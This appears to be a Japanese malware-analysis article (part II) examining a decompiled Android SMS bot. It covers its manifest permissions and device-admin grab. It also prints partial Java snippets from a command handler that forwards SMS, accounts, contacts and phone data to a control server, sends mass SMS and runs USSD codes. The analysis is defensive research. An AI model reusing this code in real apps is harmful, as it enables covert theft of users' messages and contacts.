Android用のSMSボットの分析。 パートII
Android向けsms-botの分析の記事の続き。 パートI
エントリー
Android用の別のボット。8*** 6249999などの「美しい」数字で送信されます。 SMSには、「あなたについて知られていることを調べる」または「所有者のための情報」などのリンクが付属しています。 サイトの名前.ru / 7 *** 6249999 "
Androidアプリケーションを開くプロセス:
- APKファイルをダウンロードします。
- マニフェストファイルを抽出します。
- アプリケーションを読み取り可能なソースコードまたはバイトコードに逆コンパイルします。
- マニフェストとコードを分析します。
紳士のツールキット:
- Apktool-マニフェストとリソースをプルするために使用します。
- Dex2jar-APKファイルをバイトコードに逆コンパイルします。
- Jd-gui-バイトコードを読み取り可能なコードに変換します。
マニフェストを読む
マニフェストでは次のコード行がすぐにわかります。
<receiver android:name=".IncomingSmsReceiver" android:exported="true"> … </receiver> <receiver android:name=".OnReboot" android:permission="android.permission.RECEIVE_BOOT_COMPLETED" android:enabled="true"> …. </receiver> <receiver android:name=".AdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN"> … </receiver> <receiver android:name=".RunService$Alarm" android:exported="true"> … </receiver> <service android:name=".RunService" />
マニフェストのスライスから、ボットが何をするのかが明らかになります。
- すべての着信SMSを受信して処理します。
- デバイスの再起動時に何かを行います。
- デバイス管理者権限の取得を試みます。
- そして、何らかのサービスを開始します。 ほとんどの場合、このサービスは新しいコマンド(管理サーバーなど)を待機します。
さらに、マニフェストで:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.GET_ACCOUNTS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.INTERNET" />
ボットが次の許可を取得したいことが肉眼で確認できます。
- 再起動後に実行します。
- 受取口座;
- SMSを受信/送信/書き込み/読み取りOK;
- 電話ステータスの取得。
- インターネット
そのため、ボットの意図はすでに明確になっています。
Mainactivity.java
それでは、クラス分析に移りましょう。 ボットには17個あります。
それぞれを分析した結果、最も基本的なもの、つまり注目に値するものは次のとおりであるという結論に達しました。
- MainActivity.java;
- Runservice.java;
- IncomingSmsReceiver.java;
- HandlerCMD.java;
上記のクラスでは、ボットのメインロジックが集中しており、残りのクラスは補助的です。
MainActivityクラスの内容を見てみましょう。
以下のコードでは、ボットは管理者権限を取得しようとします。
this.devicePolicyManager = ((DevicePolicyManager)getSystemService("device_policy")); if (!this.devicePolicyManager.isAdminActive(this.adminReceiver)) { GetAdministrator localGetAdministrator = new GetAdministrator(); localGetAdministrator.execute(new Void[0]); return; }
さらに、プログラムを閉じるときに、彼はサービスクラスを実行しようとします(少し後で説明します)。
Class localClass = Class.forName("com.driver.android.system.RunService"); Intent localIntent = new Intent(this, localClass); startService(localIntent);
RunService.java
このクラスの名前から、彼が何をしているかが明らかになります。 はい、次のサービスを開始します。
- 彼の状態を確認します。
- 管理サーバーからコマンドを受信し、処理ハンドラーを起動します。
- 60秒ごとに発信SMSをチェックします。
- ボットによってブラックリストに登録されている番号への呼び出しをブロックします。
- すべての発信SMSをサーバーに送信します。
IncomingSmsReceiver.java
このクラスはBroadcastReceiverとして使用されます。 名前から、このクラスは着信SMS-okを受信し、そのコンテンツをサーバーに送信するために必要であることは明らかです。 確認スニペットは次のとおりです。
localHashMap.put("addmsg", localStringBuffer3.append(localStringBuffer4.append(localStringBuffer5.append(localStringBuffer6.append(localStringBuffer7.append("-->\n: ").append(str1).toString()).append("\n : ").toString()).append(str2).toString()).append("\n: ").toString()).append(str5).toString() + "\n-->\n\n"); SendNewSMS localSendNewSMS = new SendNewSMS(paramContext); localSendNewSMS.execute(new HashMap[] { localHashMap });
HandlerCMD.java
私の意見では、これは最も興味深いクラスです。 ここでは、ボットが実行するすべての機能を明確に見ることができます。 このクラスは、各コマンドのアクションが記述されているCommand.javaクラスと密接に対話します。 管理サーバーは、コマンドを文字列の配列として送信します。 ハンドラーはそれを処理し、paramArrayOfString [0]配列の最初の要素の「1」から「16」までの値をチェックします。 それでは、各機能を見ていきましょう。
「1」を受信すると、特定の番号にSMSを送信します
if (str1.equals("1") == true) { Commands localCommands1 = new Commands(this.context); localCommands1.smska(paramArrayOfString); }
新しいネットワークIPアドレスを設定する
if (str1.equals("2") == true) { … localCommands2.newIp(paramArrayOfString[1].trim()); … }
<b> </b> <source lang="Java"> if (str1.equals("3") == true) { … if (localCommands3.getAdministrator()) {} … localSendPostData1.execute("http://" + this.server_ip, localHashMap1); … }
すべてのオンラインユーザーアカウントをサーバーに送信する
if (str1.equals("4") == true) {... String str4 = localCommands4.getAllAccounts(); … localSendPostData2.execute("http://" + this.server_ip, localHashMap2); … }
インストールされたアプリケーションのリストをサーバーに送信する
if (str1.equals("5") == true) { … String str5 = localCommands5.getInstallApps(); … localSendPostData3.execute("http://" + this.server_ip, localHashMap3); … }
ブラックリストをクリアする
if (str1.equals("6") == true) { … localCommands6.clearBL(); … }
サーバーからSMSテキストを受信し、ローカルアドレス帳からサブスクライバーに送信します
if (str1.equals("7") == true) { … localCommands7.deliveryPhoneBook(paramArrayOfString); … }
サーバーから受信した番号のリストにSMSを送信します
if (str1.equals("8") == true) { … localCommands8.deliveryFromBase(paramArrayOfString); … }
すべての加入者番号を取得してサーバーに送信
if (str1.equals("9") == true) { PhoneBook localPhoneBook = new PhoneBook(this.context); ArrayList localArrayList = localPhoneBook.getNumbers(); … localSendPostData4.execute("http://" + this.server_ip, localHashMap4); … }
サーバーに携帯電話会社に関する情報を送信します
if (str1.equals("10") == true) { … String str7 = localCommands9.getProvider(); … localSendPostData5.execute("http://" + this.server_ip, localHashMap5); … }
アプリケーションバージョンをサーバーに送信する
if (str1.equals("11") == true) { … String str8 = localCommands10.getVersionApp(); … localSendPostData6.execute("http://" + this.server_ip, localHashMap6); … }
Androidバージョンを送信
if (str1.equals("12") == true) { … String str9 = localCommands11.getVersionOS(); … localSendPostData7.execute("http://" + this.server_ip, localHashMap7); … }
国コードを送信
if (str1.equals("13") == true) { … String str10 = localCommands12.getCountry(); … localSendPostData8.execute("http://" + this.server_ip, localHashMap8); … }
デバイスの電話番号を送信
if (str1.equals("14") == true) { … String str11 = localCommands13.getPhoneNumber(); … localSendPostData9.execute("http://" + this.server_ip, localHashMap9); … }
サーバーからの受信と実行、およびUSSDメッセージの実行結果の送信
if (str1.equals("15") == true) { … localCommands14.USSD(paramArrayOfString); … }
シャドウモードでアプリケーションをアンインストールする
if (str1.equals("16") == true) { Commands localCommands15 = new Commands(this.context); localCommands15.uninstallApp(paramArrayOfString); return; }
結論
分析を要約します。 ボットは、以前のものとは異なり、より有能に書かれています。 しかし、コードの保護にも欠陥があります。 難読化と暗号化はありません。 これにより、ボットがデータを送受信するサーバーのIPアドレスをコードで確認できました。
Nabiev Nurlan(カザフスタン) 、 サイバー犯罪調査局 、PentestIT